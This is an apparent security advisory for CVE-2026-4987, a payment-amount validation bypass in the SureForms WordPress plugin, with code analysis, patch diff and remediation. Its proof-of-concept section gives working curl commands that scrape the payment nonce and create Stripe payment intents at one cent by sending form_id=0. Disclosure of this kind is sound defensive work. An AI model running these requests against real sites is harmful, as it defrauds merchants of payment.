CVE-2026-4987: Unauthenticated Payment Bypass in SureForms
Table of Contents
CVE-2026-4987 is a CVSS 7.5 (High) unauthenticated payment amount validation bypass vulnerability in the SureForms – Contact Form, Payment Form & Other Custom Form Builder WordPress plugin. Affecting all versions up to and including 2.5.2, this flaw allows any unauthenticated attacker to create Stripe payment intents at a self-specified price — including fractions of a cent — by passing form_id=0 to bypass the server-side amount validation entirely.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | SureForms – Contact Form, Payment Form & Other Custom Form Builder |
| Plugin Slug | sureforms |
| CVE ID | CVE-2026-4987 |
| CVSS Score | 7.5 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Vulnerability Type | Improper Input Validation — Unauthenticated Payment Amount Validation Bypass |
| Affected Versions | <= 2.5.2 |
| Patched Version | 2.6.0 |
| Published | March 27, 2026 |
| Researcher | Jack Pas (Dark.) - Black Lantern Security |
| Wordfence Advisory | Link |
Description
The SureForms – Contact Form, Payment Form & Other Custom Form Builder plugin for WordPress is vulnerable to Payment Amount Bypass in all versions up to, and including, 2.5.2. This is due to the create_payment_intent() function performing payment amount validation conditionally — only when form_id > 0. Since form_id is a user-controlled POST parameter, an unauthenticated attacker can bypass the configured payment amount validation entirely by setting form_id to 0. This makes it possible to create underpriced Stripe payment intents (and subscription intents) at any amount the attacker chooses, regardless of what was configured in the form.
Technical Analysis
Vulnerable Code Path
Hook Registration — inc/payments/front-end.php, lines 41–44:
add_action( 'wp_ajax_srfm_create_payment_intent', [ $this, 'create_payment_intent' ] );
add_action( 'wp_ajax_nopriv_srfm_create_payment_intent', [ $this, 'create_payment_intent' ] );
add_action( 'wp_ajax_srfm_create_subscription_intent', [ $this, 'create_subscription_intent' ] );
add_action( 'wp_ajax_nopriv_srfm_create_subscription_intent', [ $this, 'create_subscription_intent' ] );
Both AJAX actions are registered with wp_ajax_nopriv_ hooks, making them accessible to unauthenticated visitors via wp-admin/admin-ajax.php.
Nonce Generation — inc/helper.php, line 2282:
'payment_nonce' => wp_create_nonce( 'srfm_payment_nonce' ),
Nonce Exposure — inc/frontend-assets.php, lines 318–325:
wp_localize_script(
SRFM_SLUG . '-stripe-payment',
'srfm_ajax',
[
'ajax_url' => admin_url( 'admin-ajax.php' ),
'payment_nonce' => $frontend_nonces['payment_nonce'],
]
);
The srfm_payment_nonce is injected as srfm_ajax.payment_nonce into the page source of any page containing a SureForms payment form. Any visitor to that page can read the nonce directly from the HTML source.
The Vulnerable Function — inc/payments/front-end.php, lines 71–96:
public function create_payment_intent() {
// Verify nonce.
if ( ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ?? '' ) ), 'srfm_payment_nonce' ) ) {
wp_send_json_error( __( 'Invalid nonce.', 'sureforms' ) );
}
$amount = intval( $_POST['amount'] ?? 0 );
$currency = sanitize_text_field( wp_unslash( $_POST['currency'] ?? 'usd' ) );
$description = sanitize_text_field( wp_unslash( $_POST['description'] ?? 'SureForms Payment' ) );
$block_id = sanitize_text_field( wp_unslash( $_POST['block_id'] ?? '' ) );
$customer_email = sanitize_email( wp_unslash( $_POST['customer_email'] ?? '' ) );
$customer_name = sanitize_text_field( wp_unslash( $_POST['customer_name'] ?? '' ) );
$form_id = intval( $_POST['form_id'] ?? 0 ); // <-- user-controlled
if ( $amount <= 0 ) {
wp_send_json_error( __( 'Invalid payment amount.', 'sureforms' ) );
}
$amount_processed_with_currency = Stripe_Helper::amount_from_stripe_format( $amount, $currency );
// VULNERABLE: validation only runs when form_id > 0
if ( $form_id > 0 && ! empty( $block_id ) ) {
$validation_result = Payment_Helper::validate_payment_amount( $amount_processed_with_currency, $currency, $form_id, $block_id );
if ( ! $validation_result['valid'] ) {
wp_send_json_error( $validation_result['message'] );
}
}
// If form_id == 0, validation is silently skipped — any amount is accepted
...
}
The validate_payment_amount Function — inc/payments/payment-helper.php, lines 581–650:
This function reads the form’s payment block configuration from post meta, then enforces either:
- Fixed amount: the submitted amount must match exactly (within ±0.01).
- Variable amount: the submitted amount must be ≥ the configured minimum.
When bypassed, none of these checks run.
The identical vulnerability exists in create_subscription_intent() at lines 243–305 of the same file.
Root Cause
The condition if ( $form_id > 0 && ! empty( $block_id ) ) treats payment amount validation as optional. The intent was likely to skip validation when no form is associated, but it inadvertently creates a bypass: any attacker who passes form_id=0 causes the condition to evaluate as false, and the entire amount validation block is skipped. The payment intent is then created at whatever arbitrary amount the attacker specified.
Why Existing Controls Failed
The WordPress nonce check (wp_verify_nonce) that guards the endpoint provides CSRF protection only — it does not authenticate the caller. The nonce value is embedded in every page that renders a SureForms payment form as window.srfm_ajax.payment_nonce, making it publicly readable to any site visitor. Because the action is also registered with wp_ajax_nopriv_, no login is required. Thus:
- Attacker visits any page with a SureForms payment form.
- Attacker reads
srfm_ajax.payment_noncefrom the page source. - Attacker crafts a POST request with
form_id=0, anyamount, and the obtained nonce. - The nonce check passes. The amount validation is skipped. A Stripe payment intent is created.
Attack Impact
An unauthenticated attacker can:
- Create Stripe payment intents at any amount they choose (e.g., 1 cent for a $500 fixed-price form).
- Create underpriced Stripe subscription intents at any amount or interval they choose.
- If the attacker then completes checkout using the fraudulently-priced intent, the merchant receives far less money than the product/service is worth.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress installation with the
sureformsplugin installed and activated (version <= 2.5.2) - Stripe connected and at least one payment form published on a publicly accessible page
- Plugin configured with a payment field (fixed or variable amount)
Step-by-Step Reproduction
Step 1: Obtain the nonce from the page source
Visit any page where a SureForms payment form is embedded. In the HTML source, locate the inline script that WordPress injects for the srfm-stripe-payment script handle:
<script type="text/javascript">
var srfm_ajax = {
"ajax_url": "https://example.com/wp-admin/admin-ajax.php",
"payment_nonce": "abc123def456" <-- copy this value
};
</script>
Or extract it with curl:
NONCE=$(curl -s https://YOUR-SITE.com/your-payment-page/ \
| grep -oP '"payment_nonce"\s*:\s*"\K[^"]+')
echo "Nonce: $NONCE"
Step 2: Obtain the block_id from the page source
While reviewing the page source, find the data-block-id attribute on the Stripe payment block element, or locate the block_id value passed in legitimate AJAX requests (visible in browser DevTools Network tab when the real form loads). Alternatively, send the request with an empty block_id — the bypass still works because the check is if ( $form_id > 0 && ! empty( $block_id ) ), so both conditions must be true to trigger validation; setting form_id=0 alone is sufficient.
Step 3: Create an underpriced payment intent
Send a POST request with form_id=0, any arbitrary amount (in Stripe’s smallest currency unit — e.g., 1 = $0.01 USD), and the real nonce:
curl -s -X POST "https://YOUR-SITE.com/wp-admin/admin-ajax.php" \
-d "action=srfm_create_payment_intent" \
-d "nonce=${NONCE}" \
-d "amount=1" \
-d "currency=usd" \
-d "form_id=0" \
-d "block_id=" \
-d "description=Test Payment" \
-d "customer_email=attacker@example.com" \
-d "customer_name=Attacker"
The server responds with a Stripe client_secret for a payment intent of $0.01:
{
"success": true,
"data": {
"clientSecret": "pi_xxxxx_secret_yyyyy",
"paymentIntentId": "pi_xxxxx"
}
}
Step 4: Complete checkout at the manipulated price
Use the returned clientSecret to confirm the Stripe payment intent from the browser (via Stripe.js) or via the Stripe API directly, completing a $0.01 purchase for a product priced at any amount by the merchant.
Expected Result
The merchant’s Stripe account receives a payment intent for $0.01 USD instead of the form’s configured amount (e.g., $100.00), resulting in an unauthorized financial transaction at a fraudulent price.
Verification
Check the Stripe dashboard (or stripe listen webhook output) — a payment intent will appear for $0.01 with the source: SureForms metadata tag, confirming the validation bypass succeeded.
Patch Analysis
What Changed
The patch modifies two functions in inc/payments/front-end.php:
create_payment_intent()(lines 71–244)create_subscription_intent()(lines 251–410)
A new file inc/submit-token.php was introduced implementing the Submit_Token class.
Fix Explanation
The patch addresses the root cause through two complementary changes:
1. Replaced WordPress nonce with form-bound HMAC token (inc/submit-token.php)
The new Submit_Token class generates HMAC-SHA256 tokens that are cryptographically bound to a specific form_id:
public static function generate( int $form_id ): string {
return self::sign( $form_id, self::current_window() );
}
public static function verify( string $token, int $form_id ): bool {
// Checks against current + previous windows using hash_equals()
...
}
A token generated for form_id=5 is cryptographically invalid for form_id=0 or any other form ID. This eliminates the bypass entirely — the attacker cannot forge a token for form_id=0 because it would require knowing the site’s WordPress auth salt.
2. Made payment amount validation mandatory (not conditional)
The conditional bypass was replaced with a hard rejection:
-if ( $form_id > 0 && ! empty( $block_id ) ) {
- $validation_result = Payment_Helper::validate_payment_amount(...);
- if ( ! $validation_result['valid'] ) {
- wp_send_json_error( $validation_result['message'] );
- }
-}
+if ( $form_id <= 0 || empty( $block_id ) ) {
+ wp_send_json_error( __( 'Invalid form configuration.', 'sureforms' ) );
+}
+
+$validation_result = Payment_Helper::validate_payment_amount(...);
+if ( ! $validation_result['valid'] ) {
+ wp_send_json_error( $validation_result['message'] );
+}
Validation is now unconditional. Any request without a valid form_id > 0 is rejected outright.
Is the fix complete? Yes — the combination of form-bound tokens (preventing form_id manipulation) and mandatory validation (refusing form_id=0) closes both the bypass vector and the logical fallback. No residual risk was identified.
Code Diff (Key Changes)
--- a/inc/payments/front-end.php (2.5.2)
+++ b/inc/payments/front-end.php (2.6.0)
public function create_payment_intent() {
- // Verify nonce.
- if ( ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ?? '' ) ), 'srfm_payment_nonce' ) ) {
- wp_send_json_error( __( 'Invalid nonce.', 'sureforms' ) );
+ // Verify submit token.
+ $token = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : '';
+ $form_id = isset( $_POST['form_id'] ) && is_numeric( $_POST['form_id'] ) ? absint( $_POST['form_id'] ) : 0;
+ if ( ! Submit_Token::verify( $token, $form_id ) ) {
+ wp_send_json_error( __( 'Security verification failed. Please refresh the page and try again.', 'sureforms' ) );
}
...
- $form_id = intval( $_POST['form_id'] ?? 0 );
+ $form_id = isset( $_POST['form_id'] ) && is_numeric( $_POST['form_id'] ) ? absint( $_POST['form_id'] ) : 0;
- if ( $form_id > 0 && ! empty( $block_id ) ) {
- $validation_result = Payment_Helper::validate_payment_amount( $amount_processed_with_currency, $currency, $form_id, $block_id );
- if ( ! $validation_result['valid'] ) {
- wp_send_json_error( $validation_result['message'] );
- }
- }
+ if ( $form_id <= 0 || empty( $block_id ) ) {
+ wp_send_json_error( __( 'Invalid form configuration.', 'sureforms' ) );
+ }
+
+ $validation_result = Payment_Helper::validate_payment_amount( $amount_processed_with_currency, $currency, $form_id, $block_id );
+ if ( ! $validation_result['valid'] ) {
+ wp_send_json_error( $validation_result['message'] );
+ }
Timeline
| Date | Event |
|---|---|
| March 27, 2026 | Vulnerability publicly disclosed by Wordfence |
| March 27, 2026 | CVE-2026-4987 assigned |
| March 27, 2026 | Patched version 2.6.0 released |
| March 28, 2026 | Advisory last updated |
Remediation
Update the sureforms plugin to version 2.6.0 or later immediately.
If an immediate update is not possible, temporarily disable the SureForms payment functionality by deactivating the plugin until the update can be applied.
References
- https://plugins.trac.wordpress.org/changeset/3488858/sureforms — Official patch changeset
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/sureforms/sureforms-252-unauthenticated-payment-amount-validation-bypass-via-form-id — Wordfence Advisory
- https://www.cve.org/CVERecord?id=CVE-2026-4987 — CVE Record